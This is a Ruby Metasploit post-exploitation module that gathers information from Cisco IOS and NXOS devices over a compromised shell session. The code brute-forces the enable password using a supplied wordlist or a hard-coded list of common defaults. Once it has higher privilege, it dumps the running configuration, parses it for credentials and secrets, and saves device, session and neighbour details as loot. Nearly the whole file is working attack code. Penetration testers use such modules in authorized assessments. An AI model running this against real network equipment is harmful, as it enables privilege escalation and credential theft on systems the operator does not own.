##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/cisco'

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Cisco
  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Cisco Gather Device General Information',
      'Description'   => %q{
        This module collects a Cisco IOS or NXOS device information and configuration.
        },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
      'Platform'      => [ 'cisco'],
      'SessionTypes'  => [ 'shell' ]
    ))

    register_options(
      [
        OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),
        OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
      ], self.class)

  end

  def run
    # Get device prompt
    prompt = session.shell_command("")

    # Set terminal length to 0 so no paging is required
    session.shell_write("term len 0 \n")

    # Get version info
    print_status("Getting version information")
    show_ver_cmd = "show version"
    ver_out = session.shell_command(show_ver_cmd)
    ver = ver_out.gsub(/show version/,"")


    # Get current privilege level
    print_status("Getting privilege level")
    priv_cmd = "show priv"
    priv = (session.shell_command(priv_cmd)).scan(/privilege level is (\d*)/).join

    # Check if this is a Nexus or IOS box
    case ver
    when /Nexus/
      os_type = "Nexus"
      mode = "EXEC"
      os_loot = "nxos"
    when /IOS/
      os_type = "IOS"
      os_loot = "ios"
    end
    if os_type == "IOS"
      case prompt
      when />/
        mode = "EXEC"
      when /#/
        mode = "PRIV"
      end
    end

    print_status("The device OS is #{os_type}")
    print_status("Session running in mode #{mode}")
    print_status("Privilege level #{priv}")

    case os_type
    when /IOS/
      ver_loc = store_loot("cisco.ios.version",
        "text/plain",
        session,
        ver.strip,
        "version.txt",
        "Cisco IOS Version")
    when /Nexus/
      ver_loc = store_loot("cisco.nxos.version",
        "text/plain",
        session,
        ver.strip,
        "version.txt",
        "Cisco NXOS Version")
    end

    # Print the version of VERBOSE set to true.
    vprint_status("version information stored in to loot, file:#{ver_loc}")

    # Enumerate depending priv level
    case priv
    when "1"
      enum_exec(prompt)
      if get_enable(datastore['ENABLE'],datastore['WORDLIST'])
        enum_priv(prompt)
      end
    when /7|15/
      enum_exec(prompt)
      enum_priv(prompt)
    end
  end

  def get_enable(enable_pass,pass_file)
    if enable_pass
      found = false
      en_out = session.shell_command("enable").to_s.strip
      en_out = session.shell_command(enable_pass)
      if en_out =~ /Password:/
        print_error("Failed to change privilege level using provided Enable password.")
      else
        found = true
      end
    else
      if pass_file
        if not ::File.exist?(pass_file)
          print_error("Wordlist File #{pass_file} does not exists!")
          return
        end
        creds = ::File.open(pass_file, "rb")
      else
        creds = "Cisco\n" << "cisco\n"<< "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
      end
      print_status("Trying to get higher privilege level with common Enable passwords..")

      # Try just the enable command
      en_out = session.shell_command("enable").to_s.strip
      if en_out =~ /Password:/
        creds.each_line do |p|
          next if p.strip.length < 1
          next if p[0,1] == "#"
          print_status("\tTrying password #{p.strip}")
          pass_out = session.shell_command(p.strip).to_s.strip
          vprint_status("Response: #{pass_out}")
          session.shell_command("enable").to_s.strip if pass_out =~ /Bad secrets/
          found = true if pass_out =~ /#/
          break if found
        end
      else
        found = true
      end
    end
    if found
      print_good("Obtained higher privilege level.")
      return true
    else
      print_error("Could not obtain higher privilege level.")
      return false
    end
  end

  # Run enumeration commands for when privilege level is 7 or 15
  def enum_priv(prompt)
    host,port = session.session_host, session.session_port
    priv_commands = [
      {
        "cmd"  => "show run",
        "fn"   => "run_config",
        "desc" => "Cisco Device running configuration"
      },
      {
        "cmd"  => "show cdp neigh",
        "fn"   => "cdp_neighbors",
        "desc" => "Cisco Device CDP Neighbors"
      },
      {
        "cmd"  => "show lldp neigh",
        "fn"   => "cdp_neighbors",
        "desc" => "Cisco Device LLDP Neighbors"
      }
    ]
    priv_commands.each do |ec|
      cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"")
      next if cmd_out =~ /Invalid input|%/
      print_status("Gathering info from #{ec['cmd']}")
      # Process configuration
      if ec['cmd'] =~/show run/
        print_status("Parsing running configuration for credentials and secrets...")
        cisco_ios_config_eater(host,port,cmd_out)
      end
      cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
        "text/plain",
        session,
        cmd_out.strip,
        "#{ec['fn']}.txt",
        ec['desc'])
      vprint_status("Saving to #{cmd_loc}")
    end
  end

  # run commands found in exec mode under privilege 1
  def enum_exec(prompt)
    exec_commands = [
      {
        "cmd"  => "show ssh",
        "fn"   => "ssh_sessions",
        "desc" => "SSH Sessions on Cisco Device"
      },
      {
        "cmd"  => "show sessions",
        "fn"   => "telnet_sessions",
        "desc" => "Telnet Sessions on Cisco Device"
      },
      {
        "cmd"  => "show login",
        "fn"   => "login_settings",
        "desc" => "Login settings on Cisco Device"
      },
      {
        "cmd"  => "show ip interface brief",
        "fn"   => "interface_info",
        "desc" => "IP Enabled Interfaces on Cisco Device"
      },
      {
        "cmd"  => "show inventory",
        "fn"   => "hw_inventory",
        "desc" => "Hardware component inventory for Cisco Device"
      }]
    exec_commands.each do |ec|
      cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/,"")
      next if cmd_out =~ /Invalid input|%/
      print_status("Gathering info from #{ec['cmd']}")
      cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
        "text/plain",
        session,
        cmd_out.strip,
        "#{ec['fn']}.txt",
        ec['desc'])
      vprint_status("Saving to #{cmd_loc}")
    end
  end
end
